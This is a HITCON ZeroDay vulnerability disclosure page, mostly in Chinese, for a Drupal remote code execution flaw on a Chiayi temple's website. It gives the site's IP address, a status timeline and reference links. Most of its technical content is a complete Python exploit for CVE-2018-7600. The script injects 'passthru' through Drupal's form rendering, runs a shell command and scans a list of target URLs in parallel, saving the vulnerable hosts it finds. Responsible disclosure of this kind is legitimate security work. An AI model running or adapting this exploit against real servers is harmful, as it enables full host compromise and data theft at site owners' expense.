Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00403
- Vendor: 嘉義市保生大帝震安宮
- Title: 嘉義市保生大帝震安宮
- Introduction: Drupal RCE
處理狀態
目前狀態
公開
Last Update : 2023/09/29
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/07/30 19:53:31 : 新提交 (由 Noth 更新此狀態)
- 2023/07/31 16:36:44 : 新提交 (由 Noth 更新此狀態)
- 2023/07/31 16:39:35 : 新提交 (由 Noth 更新此狀態)
- 2023/08/01 18:51:42 : 新提交 (由 Noth 更新此狀態)
- 2023/08/06 11:47:33 : 新提交 (由 Noth 更新此狀態)
- 2023/08/07 11:01:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/08 19:05:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/08/08 19:05:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/09/29 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00403
- 通報者:shen (Noth)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://220.134.143.107/
敘述
存在 RCE 弱點。
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
# Author : Noth
# Time : 2023-7-30
import re
import requests
from multiprocessing import Pool, Manager
requests.packages.urllib3.disable_warnings()
def poc(target):
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#type]':'markup', 'name[#markup]': 'whoami'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
try:
r = requests.post(target, params=get_params, data=post_params, verify=False,allow_redirects=False,timeout=10)
r.raise_for_status() # 檢查請求是否成功,如果不成功会抛出異常
rule1 = re.compile(r'<input type="hidden" name="form_build_id" value="(.*?)" />')
form_build_id = rule1.findall(r.text)
if form_build_id:
get_params = {'q':'file/ajax/name/#value/' + form_build_id[0]}
post_params = {'form_build_id':form_build_id[0]}
r = requests.post(target, params=get_params, data=post_params, verify=False,timeout=10)
r.raise_for_status() # 檢查請求是否成功,如果不成功会抛出異常
rule2 = re.compile(r'(.*?)\[{"command":"settings","settings":.*?')
parsed_result=rule2.findall(r.text.replace('\n','').replace(' ','').replace('\r','').replace('\t',''))
if parsed_result and len(parsed_result[0])>0:
result = "vulnerable target: " + target + "\n當前權限: " + parsed_result[0]
print(result)
sucess_list.append(result)
return result
except requests.exceptions.Timeout:
print(f"URL {target} 請求超時,中止該 URL 測試")
except requests.exceptions.RequestException as e:
print(f"URL {target} 請求異常: {e}")
# 創建一個會話並設置連接池的大小
session = requests.Session()
adapter = requests.adapters.HTTPAdapter(pool_connections=100, pool_maxsize=100)
session.mount('http://', adapter)
try:
sucess_list = []
with open('/home/kali/Desktop/PoC/CVE-2018-7600-Drupal7/target.txt') as file:
url_list = file.readlines()
for url in url_list:
target_url = url.strip()
print("測試 URL:",target_url)
poc(target_url)
except FileNotFoundError:
print('當前路徑找不到 target.txt')
except IOError:
print('文件權限錯誤,無法讀取')
# 使用 Manager 創建共享列表,用於存儲結果
manager = Manager()
success_list = manager.list()
# 使用 multiprocessing.Pool 來並行處理URL列表
with Pool(processes=4) as pool: # 調整進程數量
pool.map(poc, url_list)
if sucess_list:
with open('/home/kali/Desktop/PoC/CVE-2018-7600-Drupal7/sucess.txt','w') as f:
for result in sucess_list:
f.write(result + '\n')
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。